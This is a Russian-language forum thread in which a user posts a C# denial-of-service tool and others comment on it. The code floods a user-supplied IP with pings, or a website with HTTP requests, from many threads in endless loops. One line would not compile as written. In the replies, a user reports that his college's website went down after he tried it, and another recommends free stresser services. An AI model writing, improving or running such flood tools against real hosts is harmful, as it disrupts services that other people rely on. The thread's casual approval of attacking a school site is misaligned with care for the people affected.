Загрузка...

Dos in c #

Thread in C# created by tipossilka77 May 29, 2021. (bumped Jun 15, 2021) 649 views

  1. tipossilka77
    tipossilka77 Topic starter May 29, 2021 rang: imperator 33 May 23, 2020
    Всем привет! Я решил написать свой (фиговый) пример Dos программы!
    Вот код
    Code
     static void Main()
    {
    bool isIp = true;
    Console.WriteLine("Привет ебать! Эта программа по досу сайтов и айпи) "); //обращение)
    Console.WriteLine("Будим ебашить ip или сайт? (ip - 1 сайт - 2)");//спрашиваем что будем делать
    int IsDos= Console.ReadLine(); //Записываем ответ в переменную IsDos
    Console.WriteLine("Во сколько потоков? (чем больше тем лучше ддос но и жрать систему будет больше)(например 100)"); //спрашиваем во сколько потоков будем досить
    int thread1 = Convert.ToInt32(Console.ReadLine()); // записываем ответ в переменную thread1
    if (IsDos == 1) //если IsDos равен 1 (тоесть ip) то isIp равен true
    {
    isIp = true;
    }
    else // если нет то false
    {
    isIp = false;
    }
    Console.WriteLine("Введи ip или сайт (без http://)"); // спрашиваем ip или сайт
    string ip = Console.ReadLine(); // Записываем в переменную ip


    threading(isIp, ip, thread1); // Вызываем метод threading
    }



    static void threading(bool IsIP2, string ip12, int num) // этот метод создаёт потоки в аргументах указываем ip
    {
    if (IsIP2) // если IsIp2 равен true то создает поток с методом ipDos
    {
    for(int i = 0; i < num; i++)
    {
    Thread myThread = new Thread(new ParameterizedThreadStart(ipDos));
    myThread.Start(ip12);
    }
    }
    else // если нет то создает поток с методом SiteDos в аргументах указываем сайт
    {
    for (int i = 0; i < num; i++)
    {
    Thread myThread = new Thread(new ParameterizedThreadStart(SiteDos));
    myThread.Start(ip12);
    }
    }

    }

    static void ipDos(object ip1) // метод который досит ip
    {
    string ip12 = (string)ip1; //
    IPAddress ip = null;
    ip = IPAddress.Parse(ip12);
    int num = 0;
    while (true)
    {
    num++;
    var ping = new Ping();
    //Если IP пропарсился нормально, то пингуем
    if (ip != null)
    ping.Send(ip);
    Console.WriteLine(num + "SUCED");
    if (num % 10000 == 0)
    GC.Collect();
    }
    }
    static void SiteDos(object ip12)
    {
    int num = 0;
    while (true)
    {
    num++;
    string ip1 = (string)ip12;
    //Создаём запрос
    var r = (HttpWebRequest)WebRequest.Create("http://" + ip1);
    //Начинаем слушать ответ
    r.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), null);
    Console.WriteLine(num + "SUCED");
    if (num % 10000 == 0)
    GC.Collect();
    }
    }
     
  2. tipossilka77
    tipossilka77 Topic starter May 29, 2021 rang: imperator 33 May 23, 2020
    Основное объяснил)
     
  3. wDude
    wDude May 29, 2021 Боюсь быть не там и не тем. 3666 Aug 14, 2017
    Дос сайтов с 1 компьютера, путём отправки http запросов :peka::peka::spain:.
    В теории должно сработать (нет), а на практике даже лучше не пытаться.
    Надеюсь ты этой прогой лолз не положишь :warpath:.
    А так попытка не плохая.
     
    1. View previous comments (1)
    2. wDude
      tipossilka77, ты уверен, что это просто твой айпи в блок на время не улетел? :troll_face:
    3. tipossilka77 Topic starter
    4. wDude
  4. SijyKijy
    SijyKijy May 29, 2021 Сгнил 34 Mar 10, 2017
    Code
    GC.Collect()
    в бесконечном цикле, дык ещё и в многопотоке. Бедный garbage collector
     
  5. LilKrale
    LilKrale Jun 1, 2021 генг бэнг 65 Dec 11, 2020
    Никогда не видел досов на шарпе, ставлю класс за старания:da:
     
    1. tipossilka77 Topic starter
  6. loger3000
    loger3000 Jun 1, 2021 2 May 31, 2021
    им скорее свой интернет положишь чем сайт
     
  7. ПереигралВсех
    лучше новый метод ддоса придумай :da:
     
  8. ekstador
    ekstador Jun 16, 2021 382 Aug 23, 2017
    Чел, жесткий лайк, ибо сайт моей шараги упал
     
    1. View previous comments (3)
    2. ekstador
      @aChanKiller, чел, ты пиздец умный, я знаю что хуйня, я понимаю что этим скриптом ты Стим не положишь..
    3. aChanKiller
      ekstador, ты клоун,что тебе мешает бесплатный стрессер юзать ты вообще на этой планете живешь?
    4. ekstador
      @aChanKiller, ты долбаёб, нахуй мне это нужно? Я просто чекнул работает ли код парня, не более
    5. View the next comments (4)
  9. GoodentaK
    GoodentaK Jun 16, 2021 мамонтизирован 130 May 18, 2021
    Чувак, на будущее, main func. должна быть в самом низу, это плохой тон, когда main сверху
     
    1. View previous comments (5)
    2. renameduser_2192759
      GoodentaK, нет, это называется ты доебался к новичку, который сам ещё нихрена не понимает, а вы уже лезете со своими 'советами '
    3. GoodentaK
    4. GoodentaK
      renameduser_2192759, я же написал "на будущее", я же не сказал ему сейчас сразу начать так делать, со временем он придет к этому
Top
Loading...